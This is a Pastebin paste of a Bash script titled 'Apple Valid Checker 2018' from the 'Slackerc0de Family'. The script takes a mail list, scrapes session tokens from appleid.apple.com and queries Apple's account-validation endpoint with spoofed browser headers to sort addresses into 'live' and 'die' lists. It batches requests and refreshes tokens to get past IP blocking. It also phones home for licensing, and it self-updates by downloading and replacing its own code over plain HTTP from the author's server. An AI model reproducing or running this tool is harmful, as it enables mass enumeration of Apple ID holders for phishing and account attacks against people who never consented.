VanGans

validapple.sh

Sep 17th, 2018 (edited)
98
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 12.50 KB | None | 0 0
  1. #!/bin/bash
  2. # Slackerc0de Family Present
  3. # Apple Valid Checker 2018
  4. # 17 December 2K17
  5. # By Malhadi Jr.
  6.  
  7. test_connect_api(){
  8.   is_api_up=`curl "malhadi.slackerc0de.us" -L -s -D - -m 15 -o /dev/null`
  9.   is_script_up=`curl "slackerc0de.us" -L -s -D - -m 15 -o /dev/null`
  10.   if [[ $is_api_up == '' ]]; then
  11.     echo "[WARNING] Could not connect to API Server."
  12.     exit
  13.   fi
  14.   if [[ $is_script_up == '' ]]; then
  15.     echo "[WARNING] Could not connect to Script Server."
  16.     exit
  17.   fi
  18. }
  19. test_connect_api
  20.  
  21. if [[ ! -f "../config.json" ]]; then
  22.   echo "Missing config file"
  23.   exit
  24. fi
  25.  
  26. path_to_api=`cat "../config.json" | jq -r '.[] .path_to_api'`
  27. accessid=`cat "../config.json" | jq -r '.[] .accessid'`
  28. isEligible=`curl -s "$path_to_api?accessid=$accessid&do=get_user_info" | jq -r '.applevalid'`
  29. if [[ $isEligible == "no" || $isEligible == "" ]]; then
  30.   echo "You are not eligible to run this script"
  31.   exit
  32. else
  33.   if [[ $isEligible == "yes" ]]; then
  34.     server_hash=`uname -a | sha256sum | awk -F [-] '{print $1}' | xargs`
  35.     is_registered=`curl -s "$path_to_api?accessid=$accessid&do=check_server" --data "sid=$server_hash"`
  36.     if [[ $is_registered == "This server are registered" ]]; then
  37.       echo "Welcome, `cat ../access.json | jq -r '.owner'`"      
  38.     else
  39.       echo "This server are not registered"
  40.       exit
  41.     fi
  42.   else
  43.     echo "Something went wrong"
  44.     exit
  45.   fi
  46. fi
  47.  
  48.  
  49. RED='\033[0;31m'
  50. CYAN='\033[0;36m'
  51. YELLOW='\033[1;33m'
  52. ORANGE='\033[0;33m'
  53. PUR='\033[0;35m'
  54. GRN="\e[32m"
  55. WHI="\e[37m"
  56. NC='\033[0m'
  57. echo ""
  58. printf "$RED           ##########################   $GRN#\n"
  59. printf "$RED           ########################    $GRN##\n"
  60. printf "$RED           ####                       $GRN###\n"
  61. printf "$RED           ####                      $GRN####\n"
  62. printf "$RED           #######################   $GRN####\n"
  63. printf "$RED           #######################   $GRN####\n"
  64. printf "$RED                              ####   $GRN####\n"
  65. printf "$RED                              ####   $GRN####\n"
  66. printf "$WHI           ##########$RED     ########   $GRN####\n"
  67. printf "$WHI           ############$RED     ######   $GRN####\n"
  68. printf "$WHI           #####                     $GRN####\n"
  69. printf "$WHI           #####                     $GRN####\n"
  70. printf "$WHI           ##################    $GRN########\n"
  71. printf "$WHI           ####################    $GRN######\n"
  72. printf "$NC\n"
  73. cat <<EOF
  74.              - https://malhadijr.com -
  75.           [+] [email protected] [+]
  76.        
  77. ---------------------------------------------------
  78.    Slackerc0de Family - AppleID Validator 2018
  79. ---------------------------------------------------
  80.  
  81. EOF
  82.  
  83. usage() {
  84.   echo "Usage: ./myscript.sh COMMANDS: [-i <list.txt>] [-r <folder/>] [-l {1-1000}] [-t {1-10}] OPTIONS: [-d] [-c]
  85.  
  86. Command:
  87. -i (20k-US.txt)     File input that contain email to check
  88. -r (result/)        Folder to store the result live.txt and die.txt
  89. -l (60|90|110)      How many list you want to send per delayTime
  90. -t (3|5|8)          Sleep for -t when check is reach -l fold
  91.  
  92. Options:
  93. -d                  Delete the list from input file per check
  94. -c                  Compress result to compressed/ folder and
  95.                    move result folder to haschecked/
  96. -h                  Show this manual to screen
  97. -u                  Check integrity file then update
  98.  
  99. Report any bugs to: <Malhadi Jr> [email protected]
  100. "
  101.   exit 1
  102. }
  103.  
  104. updater() {
  105.   echo "Checking integrity file to server..."
  106.   localShellCode=`cat $0 | sha256sum`; aapl=`echo $AAPL_PATH | base64 --decode`;
  107.   cloudShellCode=`curl "http://slackerc0de.us/bash/applevalid/$aapl" -s | sha256sum`
  108.  
  109.   localCookies=`cat cookies.txt | sha256sum`
  110.   cloudCookies=`curl "http://slackerc0de.us/bash/applevalid/cookies.txt" -s | sha256sum`
  111.  
  112.   localJsCode=`cat netlog.js | sha256sum`
  113.   cloudJsCode=`curl "http://slackerc0de.us/bash/applevalid/netlog.js" -s | sha256sum`
  114.  
  115.   if [[ $localShellCode != $cloudShellCode || $localCookies != $cloudCookies || $localJsCode != $cloudJsCode ]]; then
  116.     echo "Updating script... Please wait."
  117.     rm -f $0; wget --quiet "http://slackerc0de.us/bash/applevalid/$aapl"; mv $aapl $0; chmod +x $0
  118.     rm -f cookies.txt; wget --quiet "http://slackerc0de.us/bash/applevalid/cookies.txt"; chmod 755 cookies.txt
  119.     rm -f netlog.js; wget --quiet "http://slackerc0de.us/bash/applevalid/netlog.js"; chmod 755 netlog.js
  120.     echo "File successfully updated on `date`."
  121.   else
  122.     echo "Script are up to date. Nothing to do."
  123.   fi
  124.  
  125.   if [[ $1 == 'manual' ]]; then
  126.     exit 1
  127.   fi
  128. }
  129.  
  130. # Assign the arguments for each
  131. # parameter to global variable
  132. while getopts ":i:r:l:t:dchu" o; do
  133.     case "${o}" in
  134.         i)
  135.             inputFile=${OPTARG}
  136.             ;;
  137.         r)
  138.             targetFolder=${OPTARG}
  139.             ;;
  140.         l)
  141.             sendList=${OPTARG}
  142.             ;;
  143.         t)
  144.             perSec=${OPTARG}
  145.             ;;
  146.         d)
  147.             isDel='y'
  148.             ;;
  149.         c)
  150.             isCompress='y'
  151.             ;;
  152.         h)
  153.             usage
  154.             ;;
  155.         u)
  156.             updater "manual"
  157.             ;;
  158.     esac
  159. done
  160.  
  161. # Do automatic update
  162. # before passing arguments
  163. echo "[+] Doing an automatic update from server slackerc0de.us on `date`"
  164. updater "auto"
  165.  
  166. if [[ $inputFile == '' || $targetFolder == '' || $sendList == '' || $perSec == '' ]]; then
  167.   cli_mode="interactive"
  168. else
  169.   cli_mode="interpreter"
  170. fi
  171.  
  172. # Assign false value boolean
  173. # to both options when its null
  174. if [ -z "${isDel}" ]; then
  175.   isDel='n'
  176. fi
  177.  
  178. if [ -z "${isCompress}" ]; then
  179.   isCompress='n'
  180. fi
  181.  
  182. SECONDS=0
  183.  
  184. # Asking user whenever the
  185. # parameter is blank or null
  186. if [[ $inputFile == '' ]]; then
  187.   # Print available file on
  188.   # current folder
  189.   # clear
  190.   tree
  191.   read -p "Enter mailist file: " inputFile
  192. fi
  193.  
  194. if [[ $targetFolder == '' ]]; then
  195.   read -p "Enter target folder: " targetFolder
  196.   # Check if result folder exists
  197.   # then create if it didn't
  198.   if [[ ! -d "$targetFolder" ]]; then
  199.     echo "[+] Creating $targetFolder/ folder"
  200.     mkdir $targetFolder
  201.   else
  202.     read -p "$targetFolder/ folder are exists, append to them ? [y/n]: " isAppend
  203.     if [[ $isAppend == 'n' ]]; then
  204.       exit
  205.     fi
  206.   fi
  207. else
  208.   if [[ ! -d "$targetFolder" ]]; then
  209.     echo "[+] Creating $targetFolder/ folder"
  210.     mkdir $targetFolder
  211.   fi
  212. fi
  213.  
  214. if [[ $isDel == '' || $cli_mode == 'interactive' ]]; then
  215.   read -p "Delete list per check ? [y/n]: " isDel
  216. fi
  217.  
  218. if [[ $isCompress == '' || $cli_mode == 'interactive' ]]; then
  219.   read -p "Compress the result ? [y/n]: " isCompress
  220. fi
  221.  
  222. if [[ $sendList == '' ]]; then
  223.   read -p "How many list send: " sendList
  224. fi
  225.  
  226. if [[ $perSec == '' ]]; then
  227.   read -p "Delay time: " perSec
  228. fi
  229.  
  230. malhadi_appleval() {
  231.   SECONDS=0
  232.  
  233.   check=`curl 'https://appleid.apple.com/account/validation/appleid' -H 'scnt: '$scnt'' -H 'Origin: https://appleid.apple.com' -H 'Accept-Encoding: gzip, deflate, br' -H 'X-Apple-I-FD-Client-Info: {"U":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36","L":"en-US","Z":"GMT+08:00","V":"1.1","F":"sWa44j1e3NlY5BSo9z4ofjb75PaK4Vpjt3Q9cUVlOrXTAxw63UYOKES5jfzmkflJfmczl998tp7ppfAaZ6m1CdC5MQjGejuTDRNziCvTDfWk3qwyWEQEe6qgXK_Pmtd0SHp815LyjaY2.rINj.rINYOK0UjVsYUMnGWFfwMHDCQyG5me6sBLSsbXzU0l6sqKIrGfuzwg9wK9weEwHXXTSHCSPmtd0wVYPIG_qvoPfybYb5EvYTrYesR0CjEcIqnuWxf7_OLgiPFMtrs1OeyjaY2_GGEQIgwe98vDdYejftckuyPBDjaY2ftckZZLQ084akJlJWu_uWA16fUfR0odm_dhrxbuJjkWxv5iJ6KVg8cGYiKY.6elV2pN9csgdmX3ivm_Ud_UeAwHCSFQ_0pNvS_MNJZNlY5DuV25BNnOVgw24uy.CfT"}' -H 'Accept-Language: en-US,en;q=0.9,id;q=0.8,fr;q=0.7,la;q=0.6' -H 'X-Requested-With: XMLHttpRequest' -H 'Cookie: idclient=web; dslang=US-EN; site=USA; aidsp='$sessionId'; ccl=OXqm9r6b+jMZIrOKHBgGZQ==; geo=ID' -H 'Connection: keep-alive' -H 'X-Apple-Api-Key: '$apiKey'' -H 'X-Apple-ID-Session-Id: '$sessionId'' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36' -H 'Content-Type: application/json' -H 'Accept: application/json, text/javascript, */*; q=0.01' -H 'Referer: https://appleid.apple.com/account' -H 'X-Apple-Request-Context: create' --data-binary '{"emailAddress":"'$1'"}' --compressed -D - -s`
  234.   duration=$SECONDS
  235.   header="`date +%H:%M:%S` from $inputFile to $targetFolder"
  236.   footer="[Slackercode - AppleValid 2018] $(($duration % 60))sec.\n"
  237.   val="$(echo "$check" | grep -c 'used" : true')"
  238.   inv="$(echo "$check" | grep -c 'used" : false')"
  239.   bad="$(echo "$check" | grep -c 'valid" : false')"
  240.   icl="$(echo "$check" | grep -c 'appleOwnedDomain" : true')"
  241.  
  242.   if [[ $val > 0 || $icl > 0 ]]; then
  243.     printf "[$header] $2/$3. ${ORANGE}LIVE => $1 ${NC} $footer"
  244.     echo "LIVE => $1" >> $4/live.txt
  245.   else
  246.     if [[ $inv > 0 || $bad > 0 ]]; then
  247.       printf "[$header] $2/$3. ${RED}DIE => $1 ${NC} $footer"
  248.       echo "DIE => $1" >> $4/die.txt
  249.     else
  250.       printf "[$header] $2/$3. ${CYAN}UNKNOWN => $1 ${NC} $footer"
  251.       echo "$1 => $check" >> reason.txt
  252.       echo "UNKNOWN => $1" >> $inputFile
  253.     fi
  254.   fi
  255.  
  256.   printf "\r"
  257. }
  258.  
  259. if [[ ! -f $inputFile ]]; then
  260.   echo "[404] File mailist not found. Check your mailist file name."
  261.   ls -l
  262.   exit
  263. fi
  264.  
  265. # Preparing file list
  266. # by using email pattern
  267. # every line in $inputFile
  268. echo "[+] Cleaning your mailist file"
  269. grep -Eiorh '([[:alnum:]_.-]+@[[:alnum:]_.-]+?\.[[:alpha:].]{2,6})' $inputFile | tr '[:upper:]' '[:lower:]' | sort | uniq > temp_list && mv temp_list $inputFile
  270.  
  271. # Finding match mail provider
  272. echo "########################################"
  273. # Print total line of mailist
  274. totalLines=`grep -c "@" $inputFile`
  275. echo "There are $totalLines of list."
  276. echo " "
  277. echo "Hotmail: `grep -c "@hotmail" $inputFile`"
  278. echo "Yahoo: `grep -c "@yahoo" $inputFile`"
  279. echo "Gmail: `grep -c "@gmail" $inputFile`"
  280. echo "########################################"
  281.  
  282. # Extract email per line
  283. # from both input file
  284. IFS=$'\r\n' GLOBIGNORE='*' command eval  'mailist=($(cat $inputFile))'
  285. con=1
  286.  
  287. getKey() {
  288.   echo "Generating token now. Please wait..."
  289.   wait
  290.   resp=`curl 'https://appleid.apple.com/account' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8' -H 'Connection: keep-alive' -H 'Accept-Encoding: gzip, deflate, br' -H 'Accept-Language: en-US,en;q=0.9,id;q=0.8,fr;q=0.7,la;q=0.6' -H 'Upgrade-Insecure-Requests: 1' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36' --compressed -D - -s -o /dev/null`
  291.   scnt="$(echo "$resp" | grep "scnt: " | cut -c7- | xargs)"
  292.   sessionId="$(echo "$resp" | grep "aidsp" | awk -F[=\;] '{print $2}' | xargs)"
  293.   apiKey='cbf64fd6843ee630b463f358ea0b707b'
  294.  
  295.   # echo "$resp"
  296.   # echo "SCNT: $scnt"
  297.   # echo "SESSIONID: $sessionId"
  298.  
  299.   if [[ $scnt == '' || $sessionId == '' || $apiKey = '' ]]; then
  300.     sleep 4
  301.     echo "IP Blocked by Apple."
  302.     getKey
  303.     sleep 2
  304.   fi
  305. }
  306.  
  307. getKey
  308.  
  309. echo "[+] Sending $sendList email per $perSec seconds"
  310.  
  311. for (( i = 0; i < "${#mailist[@]}"; i++ )); do
  312.   username="${mailist[$i]}"
  313.   indexer=$((con++))
  314.   tot=$((totalLines--))
  315.   fold=`expr $i % $sendList`
  316.   if [[ $fold == 0 && $i > 0 ]]; then
  317.     header="`date +%H:%M:%S`"
  318.     duration=$SECONDS
  319.     echo "[$header] Waiting $perSec second. $(($duration / 3600)) hours $(($duration / 60 % 60)) minutes and $(($duration % 60)) seconds elapsed, With $sendList req / $perSec seconds."
  320.     sleep $perSec
  321.   fi
  322.   vander=`expr $i % 8`
  323.   if [[ $vander == 0 && $i > 0 ]]; then
  324.     getKey
  325.   fi
  326.  
  327.   malhadi_appleval "$username" "$indexer" "$tot" "$targetFolder" "$inputFile" &
  328.  
  329.   if [[ $isDel == 'y' ]]; then
  330.     grep -v -- "$username" $inputFile > "$inputFile"_temp && mv "$inputFile"_temp $inputFile
  331.   fi
  332. done
  333.  
  334. # waiting the background process to be done
  335. # then checking list from garbage collector
  336. # located on $targetFolder/unknown.txt
  337. echo "[+] Waiting background process to be done"
  338. wait
  339. wc -l $targetFolder/*
  340.  
  341. if [[ $isCompress == 'y' ]]; then
  342.   tgl=`date`
  343.   tgl=${tgl// /-}
  344.   zipped="$targetFolder-$tgl.zip"
  345.  
  346.   echo "[+] Compressing result"
  347.   zip -r "compressed/$zipped" "$targetFolder/die.txt" "$targetFolder/live.txt"
  348.   echo "[+] Saved to compressed/$zipped"
  349.   mv $targetFolder haschecked
  350.   echo "[+] $targetFolder has been moved to haschecked/"
  351. fi
  352. #rm $inputFile
  353. duration=$SECONDS
  354. echo "$(($duration / 3600)) hours $(($duration / 60)) minutes and $(($duration % 60)) seconds elapsed."
  355. echo "+==========+ Slackerc0de Family - Applevalid 2018 - Malhadi Jr +==========+"
Add Comment
Please, Sign In to add comment